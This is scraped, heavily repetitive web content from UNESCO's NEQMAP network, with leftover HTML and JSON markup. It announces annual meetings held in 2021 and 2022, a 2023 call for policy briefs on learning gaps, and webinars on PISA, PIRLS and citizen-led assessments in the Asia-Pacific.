As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

